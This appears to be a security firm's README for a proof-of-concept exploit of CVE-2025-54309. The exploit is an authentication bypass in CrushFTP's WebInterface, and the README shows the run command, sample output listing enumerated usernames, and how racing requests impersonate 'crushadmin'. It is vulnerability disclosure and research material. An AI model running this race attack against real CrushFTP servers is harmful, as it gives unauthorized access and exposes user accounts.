watchtowrlabs/watchtowr-vs-crushftp-authentication-bypass-cve-2025-54309Proof-of-concept exploit for CVE-2025-54309, demonstrating an authentication bypass via race condition in CrushFTP WebInterface to enumerate users.
A CrushFTP Authentication Bypass Proof of Concept
See our blog post for technical details
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
This script is a proof of concept for CVE-2025-54309 against CrushFTP Interfaces. By creating a set of race requests sharing the same session identifiers, one request to set the username property to "crushadmin" and one request to execute an authenticated command as this user, its possible in this PoC to extract the list of usernames. More details are described within our [blog post] (https://labs.watchtowr.com/).
More details at CrushFTP Advisory
For the latest security research follow the watchTowr Labs Team